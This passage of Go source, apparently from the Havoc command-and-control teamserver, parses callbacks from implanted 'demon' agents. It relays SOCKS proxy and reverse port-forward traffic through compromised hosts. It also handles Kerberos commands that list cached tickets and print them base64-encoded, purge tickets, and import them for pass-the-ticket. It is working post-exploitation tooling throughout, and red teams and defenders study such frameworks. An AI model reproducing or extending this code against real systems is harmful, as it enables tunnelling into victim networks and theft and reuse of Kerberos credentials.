//logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_READ, SocktID: %08x, Type: %d, DataLength: %x", AgentID, SocktID, Type, len(Data)))
if Type == SOCKET_TYPE_CLIENT {
/* we only open rportfwd clients once we have data to write */
opened, err := a.PortFwdIsOpen(SocktID)
if err != nil {
a.Console(teamserver.AgentConsole, "Erro", fmt.Sprintf("Failed to write to reverse port forward host: %v", err), "")
return
}
/* if first time, open the client */
if opened == false {
err := a.PortFwdOpen(SocktID)
if err != nil {
logger.Debug(fmt.Sprintf("Failed to open rportfwd: %v", err))
a.Console(teamserver.AgentConsole, "Erro", fmt.Sprintf("Failed to open reverse port forward host: %v", err), "")
return
}
}
/* write the data to the forwarded host */
err = a.PortFwdWrite(SocktID, Data)
if err != nil {
a.Console(teamserver.AgentConsole, "Erro", fmt.Sprintf("Failed to write to reverse port forward socket 0x%08x: %v", SocktID, err), "")
return
}
if opened == false {
/* after we managed to open a socket to the forwarded host lets start a
* goroutine where we read the data from the forwarded host and send it to the agent. */
go func() {
for {
Data, err := a.PortFwdRead(SocktID)
if err == nil {
/* only send the data if there is something... */
if len(Data) > 0 {
/* make a new job */
var job = Job{
Command: COMMAND_SOCKET,
Data: []any{
SOCKET_COMMAND_WRITE,
SocktID,
Data,
},
}
/* append the job to the task queue */
a.AddJobToQueue(job)
}
} else {
/* we failed to read from the portfwd */
logger.Error(fmt.Sprintf("Failed to read from socket %08x: %v", SocktID, err))
return
}
}
}()
}
} else if Type == SOCKET_TYPE_REVERSE_PROXY {
/* check if there is a socket with that socks proxy id */
if Socket := a.SocksClientGet(SocktID); Socket != nil {
/* write the data to socks proxy */
_, err := Socket.Conn.Write(Data)
if err != nil {
a.Console(teamserver.AgentConsole, "Erro", fmt.Sprintf("Failed to write to socks proxy %v: %v", SocktID, err), "")
/* TODO: remove socks proxy client */
//a.SocksClientClose(SOCKET_TYPE_CLIENT)
return
}
} else {
logger.Error(fmt.Sprintf("SocketID not found: %08x\n", SocktID))
}
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_READ, Invalid packet", AgentID))
}
} else {
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
var (
ErrorCode = Parser.ParseInt32()
)
logger.Warn(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_READ, SocktID: %08x, Type: %d, Failed with: %d", AgentID, SocktID, Type, ErrorCode))
a.Console(teamserver.AgentConsole, "Erro", fmt.Sprintf("Failed to read from socks target %v: %v", SocktID, ErrorCode), "")
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_READ, Invalid packet", AgentID))
}
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_READ, Invalid packet", AgentID))
}
break
case SOCKET_COMMAND_WRITE:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) {
var (
Id = Parser.ParseInt32()
Type = Parser.ParseInt32()
Success = Parser.ParseInt32()
)
if Success == win32.FALSE {
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
var (
ErrorCode = Parser.ParseInt32()
)
logger.Warn(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_WRITE, Id: %08x, Type: %d, Failed with: %d", AgentID, Id, Type, ErrorCode))
a.Console(teamserver.AgentConsole, "Erro", fmt.Sprintf("Failed to write to socks target %v: %v", Id, ErrorCode), "")
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_WRITE, Invalid packet", AgentID))
}
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_WRITE, Invalid packet", AgentID))
}
break
case SOCKET_COMMAND_CLOSE:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) {
var (
SockId = Parser.ParseInt32()
Type = Parser.ParseInt32()
)
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_CLOSE, Id: %08x, Type: %d", AgentID, SockId, Type))
if Type == SOCKET_TYPE_REVERSE_PROXY {
/* lets remove it */
if a.SocksClientClose(int32(SockId)) == false {
logger.Error(fmt.Sprintf("SockId not found: %08x", SockId))
}
} else {
logger.Error(fmt.Sprintf("Invalid socket type: %d", Type))
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_CLOSE, Invalid packet", AgentID))
}
break
case SOCKET_COMMAND_CONNECT:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32, parser.ReadInt32}) {
var (
Success = Parser.ParseInt32()
SocketId = Parser.ParseInt32()
ErrorCode = Parser.ParseInt32()
)
if Client := a.SocksClientGet(SocketId); Client != nil {
if Success == win32.TRUE {
// succeeded
// avoid too much spam
//logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_CONNECT, Id: %08x, Type: %d, Success: %d", AgentID, SocketId, SOCKET_TYPE_REVERSE_PROXY, Success))
err := socks.SendConnectSuccess(Client.Conn, Client.ATYP, Client.IpDomain, Client.Port)
if err == nil {
Client.Connected = true
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_CONNECT, Id: %08x, Type: %d, Success: %d, ErrorCode: %d", AgentID, SocketId, SOCKET_TYPE_REVERSE_PROXY, Success, ErrorCode))
socks.SendConnectFailure(Client.Conn, uint32(ErrorCode), Client.ATYP, Client.IpDomain, Client.Port)
a.SocksClientClose(int32(SocketId))
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_CONNECT, Socket id not found: %x", AgentID, SocketId))
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - SOCKET_COMMAND_CONNECT, Invalid packet", AgentID))
}
break
default:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET - UNKNOWN (%d)", AgentID, SubCommand))
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_SOCKET, Invalid packet", AgentID))
Message = map[string]string{
"Type": "Error",
"Message": fmt.Sprintf("Callback output is smaller than expected. Callback type COMMAND_SOCKET expected at least 4 bytes but received %v bytes", Parser.Length()),
}
}
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)
break
case COMMAND_KERBEROS:
var (
SubCommand int
Message map[string]string
HighPart int
LowPart int
Success int
)
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
SubCommand = Parser.ParseInt32()
switch SubCommand {
case KERBEROS_COMMAND_LUID:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
Success = Parser.ParseInt32()
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS - KERBEROS_COMMAND_LUID, Success: %d", AgentID, Success))
if Success == win32.TRUE {
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) {
HighPart = Parser.ParseInt32()
LowPart = Parser.ParseInt32()
Message = map[string]string{
"Type": "Good",
"Message": fmt.Sprintf("Current LogonId: %x:0x%x", HighPart, LowPart),
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS - KERBEROS_COMMAND_LUID, Invalid packet", AgentID))
}
} else {
Message = map[string]string{
"Type": "Erro",
"Message": "Failed to obtain the current logon ID",
}
}
a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS - KERBEROS_COMMAND_LUID, Invalid packet", AgentID))
}
case KERBEROS_COMMAND_KLIST:
var (
NumSessions int
NumTickets int
Output string
UserName string
Domain string
LogonIdLow int
LogonIdHigh int
Session int
UserSID string
LogonTimeLow int
LogonTimeHigh int
LogonTime int64
LogonType int
AuthenticationPackage string
LogonServer string
LogonServerDNSDomain string
Upn string
ClientName string
ClientRealm string
ServerName string
ServerRealm string
StartTime int64
StartTimeLow int
StartTimeHigh int
EndTime int64
EndTimeLow int
EndTimeHigh int
RenewTime int64
RenewTimeLow int
RenewTimeHigh int
EncryptionType int
TicketFlags int
TicketFlagsStr string
Ticket []byte
)
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
Success = Parser.ParseInt32()
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS - KERBEROS_COMMAND_KLIST, Success: %d", AgentID, Success))
if Success == win32.TRUE {
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
NumSessions = Parser.ParseInt32()
for NumSessions > 0 && Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes}) {
UserName = Parser.ParseUTF16String()
Domain = Parser.ParseUTF16String()
LogonIdLow = Parser.ParseInt32()
LogonIdHigh = Parser.ParseInt32()
Session = Parser.ParseInt32()
UserSID = Parser.ParseUTF16String()
LogonTimeLow = Parser.ParseInt32()
LogonTimeHigh = Parser.ParseInt32()
LogonType = Parser.ParseInt32()
AuthenticationPackage = Parser.ParseUTF16String()
LogonServer = Parser.ParseUTF16String()
LogonServerDNSDomain = Parser.ParseUTF16String()
Upn = Parser.ParseUTF16String()
LogonTypes := map[int]string{
win32.LOGON32_LOGON_INTERACTIVE: "Interactive",
win32.LOGON32_LOGON_NETWORK: "Network",
win32.LOGON32_LOGON_BATCH: "Batch",
win32.LOGON32_LOGON_SERVICE: "Service",
win32.LOGON32_LOGON_UNLOCK: "Unlock",
win32.LOGON32_LOGON_NETWORK_CLEARTEXT: "Network_Cleartext",
win32.LOGON32_LOGON_NEW_CREDENTIALS: "New_Credentials",
}
// go from FILETIME to SYSTEMTIME
LogonTime = int64((((LogonTimeHigh << (4 * 8)) | LogonTimeLow) - 0x019DB1DED53E8000) / 10000000)
Output += fmt.Sprintf("UserName : %s\n", UserName)
Output += fmt.Sprintf("Domain : %s\n", Domain)
Output += fmt.Sprintf("LogonId : %x:0x%x\n", LogonIdHigh, LogonIdLow)
Output += fmt.Sprintf("Session : %d\n", Session)
Output += fmt.Sprintf("UserSID : %s\n", UserSID)
Output += fmt.Sprintf("LogonTime : %s\n", time.Unix(LogonTime, 0))
Output += fmt.Sprintf("Authentication package : %s\n", AuthenticationPackage)
Output += fmt.Sprintf("LogonType : %s\n", LogonTypes[LogonType])
Output += fmt.Sprintf("LogonServer : %s\n", LogonServer)
Output += fmt.Sprintf("LogonServerDNSDomain : %s\n", LogonServerDNSDomain)
Output += fmt.Sprintf("UserPrincipalName : %s\n", Upn)
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
NumTickets = Parser.ParseInt32()
Output += fmt.Sprintf("Cached tickets: : %d\n", NumTickets)
for NumTickets > 0 && Parser.CanIRead([]parser.ReadType{parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadBytes, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadInt32, parser.ReadBytes}) {
ClientName = Parser.ParseUTF16String()
ClientRealm = Parser.ParseUTF16String()
ServerName = Parser.ParseUTF16String()
ServerRealm = Parser.ParseUTF16String()
StartTimeLow = Parser.ParseInt32()
StartTimeHigh = Parser.ParseInt32()
EndTimeLow = Parser.ParseInt32()
EndTimeHigh = Parser.ParseInt32()
RenewTimeLow = Parser.ParseInt32()
RenewTimeHigh = Parser.ParseInt32()
EncryptionType = Parser.ParseInt32()
TicketFlags = Parser.ParseInt32()
Ticket = Parser.ParseBytes()
// go from FILETIME to SYSTEMTIME
StartTime = int64((((StartTimeHigh << (4 * 8)) | StartTimeLow) - 0x019DB1DED53E8000) / 10000000)
EndTime = int64((((EndTimeHigh << (4 * 8)) | EndTimeLow) - 0x019DB1DED53E8000) / 10000000)
RenewTime = int64((((RenewTimeHigh << (4 * 8)) | RenewTimeLow) - 0x019DB1DED53E8000) / 10000000)
EncryptionTypes := map[int]string{
win32.DES_CBC_CRC: "DES_CBC_CRC",
win32.DES_CBC_MD4: "DES_CBC_MD4",
win32.DES_CBC_MD5: "DES_CBC_MD5",
win32.DES3_CBC_MD5: "DES3_CBC_MD5",
win32.DES3_CBC_SHA1: "DES3_CBC_SHA1",
win32.DSAWITHSHA1_CMSOID: "DSAWITHSHA1_CMSOID",
win32.MD5WITHRSAENCRYPTION_CMSOID: "MD5WITHRSAENCRYPTION_CMSOID",
win32.SHA1WITHRSAENCRYPTION_CMSOID: "SHA1WITHRSAENCRYPTION_CMSOID",
win32.RC2CBC_ENVOID: "RC2CBC_ENVOID",
win32.RSAENCRYPTION_ENVOID: "RSAENCRYPTION_ENVOID",
win32.RSAES_OAEP_ENV_OID: "RSAES_OAEP_ENV_OID",
win32.DES3_CBC_SHA1_KD: "DES3_CBC_SHA1_KD",
win32.AES128_CTS_HMAC_SHA1: "AES128_CTS_HMAC_SHA1",
win32.AES256_CTS_HMAC_SHA1: "AES256_CTS_HMAC_SHA1",
win32.RC4_HMAC: "RC4_HMAC",
win32.RC4_HMAC_EXP: "RC4_HMAC_EXP",
win32.SUBKEY_KEYMATERIAL: "SUBKEY_KEYMATERIAL",
win32.OLD_EXP: "OLD_EXP",
}
TicketFlagTypes := []string{
"name_canonicalize",
"anonymous",
"ok_as_delegate",
"?",
"hw_authent",
"pre_authent",
"initial",
"renewable",
"invalid",
"postdated",
"may_postdate",
"proxy",
"proxiable",
"forwarded",
"forwardable",
"reserved",
}
TicketFlagsStr = ""
for i := 0; i < 16; i++ {
if ((TicketFlags >> (i + 16)) & 1) == 1 {
TicketFlagsStr += " " + TicketFlagTypes[i]
}
}
TicketFlagsStr += fmt.Sprintf(" (0x%x)", TicketFlags)
Output += "\n"
Output += fmt.Sprintf("\tClient name : %s @ %s\n", ClientName, ClientRealm)
Output += fmt.Sprintf("\tServer name : %s @ %s\n", ServerName, ServerRealm)
Output += fmt.Sprintf("\tStart time : %s\n", time.Unix(StartTime, 0))
Output += fmt.Sprintf("\tEnd time : %s\n", time.Unix(EndTime, 0))
Output += fmt.Sprintf("\tRewnew time : %s\n", time.Unix(RenewTime, 0))
Output += fmt.Sprintf("\tEncryption type : %s\n", EncryptionTypes[EncryptionType])
Output += fmt.Sprintf("\tFlags :%s\n", TicketFlagsStr)
if len(Ticket) > 0 {
Output += fmt.Sprintf("\tTicket : %s\n", base64.StdEncoding.EncodeToString(Ticket))
}
NumTickets -= 1
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS - KERBEROS_COMMAND_KLIST, Invalid packet", AgentID))
}
Output += "\n"
NumSessions -= 1
}
Message = map[string]string{
"Type": "Info",
"Output": Output,
}
a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS - KERBEROS_COMMAND_KLIST, Invalid packet", AgentID))
}
} else {
Message = map[string]string{
"Type": "Erro",
"Message": "Failed to list all kerberos tickets",
}
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS - KERBEROS_COMMAND_KLIST, Invalid packet", AgentID))
}
break
case KERBEROS_COMMAND_PURGE:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
Success = Parser.ParseInt32()
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS - KERBEROS_COMMAND_PURGE, Success: %d", AgentID, Success))
if Success == win32.TRUE {
Message = map[string]string{
"Type": "Good",
"Message": "Successfully purged the Kerberos ticket",
}
} else {
Message = map[string]string{
"Type": "Erro",
"Message": "Failed to purge the kerberos ticket",
}
}
a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS - KERBEROS_COMMAND_PURGE, Invalid packet", AgentID))
}
case KERBEROS_COMMAND_PTT:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32}) {
Success = Parser.ParseInt32()
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS - KERBEROS_COMMAND_PTT, Success: %d", AgentID, Success))
if Success == win32.TRUE {
Message = map[string]string{
"Type": "Good",
"Message": "Successfully imported the Kerberos ticket",
}
} else {
Message = map[string]string{
"Type": "Erro",
"Message": "Failed to import the kerberos ticket",
}
}
a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS - KERBEROS_COMMAND_PTT, Invalid packet", AgentID))
}
default:
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS - UNKNOWN (%d)", AgentID, SubCommand))
}
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_KERBEROS, Invalid packet", AgentID))
}
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)
break
case COMMAND_MEM_FILE:
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) {
var (
MemFileID = Parser.ParseInt32()
Success = Parser.ParseInt32()
)
// TODO: don't ignore this packet?
// if this fails, then inline-execute, dotnet, or upload will show the error
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_MEM_FILE, Success: %d, MemFileID: %x", AgentID, Success, MemFileID))
a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_MEM_FILE, Invalid packet", AgentID))
}
break;
case COMMAND_PACKAGE_DROPPED:
var (
Message map[string]string
)
if Parser.CanIRead([]parser.ReadType{parser.ReadInt32, parser.ReadInt32}) {
var (
PkgLength = Parser.ParseInt32()
MaxLength = Parser.ParseInt32()
)
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PACKAGE_DROPPED, PkgLength: 0x%x, MaxLength: 0x%x", AgentID, PkgLength, MaxLength))
Message = map[string]string{
"Type": "Erro",
"Message": "A package was discarded by demon for being larger than PIPE_BUFFER_MAX",
}
// a single command can generate multiple dropped packages
//a.RequestCompleted(RequestID)
} else {
logger.Debug(fmt.Sprintf("Agent: %x, Command: COMMAND_PACKAGE_DROPPED, Invalid packet", AgentID))
}
teamserver.AgentConsole(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)
break;
default:
logger.Debug(fmt.Sprintf("Agent: %x, Command: UNKNOWN (%d))", AgentID, CommandID))
/* end of the switch case output parser */
break
}
if Parser.Length() > 0 {
logger.Debug(fmt.Sprintf("Agent: %x, %d bytes were left unread", AgentID, Parser.Length()))
}
}
func (a *Agent) Console(Console func(DemonID string, CommandID int, Output map[string]string), Type, Text, Output string) {
var Message = map[string]string{
"Type": Type,
"Message": Text,
"Output": Output,
}
Console(a.NameID, HAVOC_CONSOLE_MESSAGE, Message)
}